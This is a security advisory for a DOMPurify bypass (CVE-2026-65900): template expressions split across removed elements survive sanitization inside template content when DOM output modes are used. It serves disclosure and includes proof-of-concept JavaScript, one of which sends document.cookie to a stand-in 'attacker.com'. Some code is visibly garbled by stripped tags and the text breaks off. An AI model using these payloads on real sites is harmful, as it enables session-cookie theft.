GitHub Advisoryadvisory · npm

GHSA-gvmj-g25r-r7wr DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes

LOW Published 2026-06-15 Modified 2026-07-23 Official page ↗
Aliases
CVE-2026-65900
Ecosystem
npm
Packages
dompurify
Severity
Low
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
Weaknesses
CWE-79
Reviewed
2026-06-15

Affected packages

• npm dompurify: >= 3.0.0, < 3.4.8 → fixed in 3.4.8

Description

Summary When DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or ``, that survive the sanitization pass inside `` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content. > Note: The string output path is not affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable. --- Description Background `SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms: 1. Per-node scrubbing (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk. 2. Final normalization pass (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging. The Gap `_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body: ```ts // src/purify.ts:1117 const walker = createNodeIterator.call( node.ownerDocument || node, node, NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ..., null ); ``` Per the DOM specification, a `NodeIterator` does not descend into `.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also does not normalize text nodes inside `.content`. This means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `` content. How Split Text Nodes Are Created When DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`: ```ts if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) { const parentNode = getParentNode(currentNode); const childNodes = getChildNodes(currentNode); if (childNodes && parentNode) { for (let i = childCount - 1; i >= 0; --i) { const childClone = cloneNode(childNodes[i], true); parentNode.insertBefore(childClone, getNextSibling(currentNode)); } } } ``` If the removed elements were adjacent siblings inside `` content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified. The code comment at `src/purify.ts:1100` explicitly acknowledges the threat class: > *"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."* The implementation guards against this on the main body, but the guard is not applied to `` content. --- Proof of Concept Why the Split Works The bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own: | Fragment | Against `TMPLIT_EXPR` `/\${[\w\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\w\W]*\|^[\w\W]*}}/g` | Result | |---|---|---|---| | `$` | Requires `${` - no `{` follows | No `{{` or `}}` | Survives | | `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | Survives | | `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole | DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected. --- PoC 1 - XSS via `alert()` (baseline confirmation) ```javascript // Attacker input - splits "${alert(document.domain)}" across two custom elements. // Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed, // but their text content is kept (KEEP_CONTENT: true is the default). const dirty = '' + '$' + '{alert(document.domain)}' + ''; // Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...} const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Inspect what survived inside the const tmpl = sanitized.querySelector('template'); console.log([...tmpl.content.childNodes].map(n => n.nodeValue)); // ["$", "{alert(document.domain)}"] ' + '$' + '{document.location="//attacker.com/?c="+document.cookie}' + ''; const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); const tmpl = sanitized.querySelector('template'); tmpl.content.normalize(); console.log(tmpl.content.textContent); // "${document.location="//attacker.com/?c="+document.cookie}" // Template engine evaluates it - victim's browser makes the request: new Function(`return \`${tmpl.content.textContent}\``)(); // !! Redirects victim to attacker.com with their full cookie string !! // e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789 ``` --- PoC 3 - End-to-end: realistic application context This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine: ```html import DOMPurify from './dist/purify.es.mjs'; // Simulates fetching and rendering user-submitted comment async function renderComment(userHtml) { // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine const dom = DOMPurify.sanitize(userHtml, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, }); // Application iterates elements and evaluates their content // (common pattern in component-based frameworks) dom.querySelectorAll('template').forEach(tmpl => { tmpl.content.normalize(); // standard DOM housekeeping const content = tmpl.content.textContent; // Application uses template literals to interpolate user content into UI const rendered = new Function('user', `return \`${content}\``)({ name: 'World' }); document.getElementById('output').innerHTML += rendered; }); } // Attacker-supplied comment content const attackerComment = '' + '$' + '{alert("XSS: " + document.cookie)}' + ''; // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM renderComment(attackerComment); // !! XSS fires, alert pops with session cookies !! ``` Observed output: `alert("XSS: " + document.cookie)` executes in the victim's browser context, leaking sessio…

Related

Alias · CVE (1)

  • CVE-2026-65900 DOMPurify versions >=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM,… vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References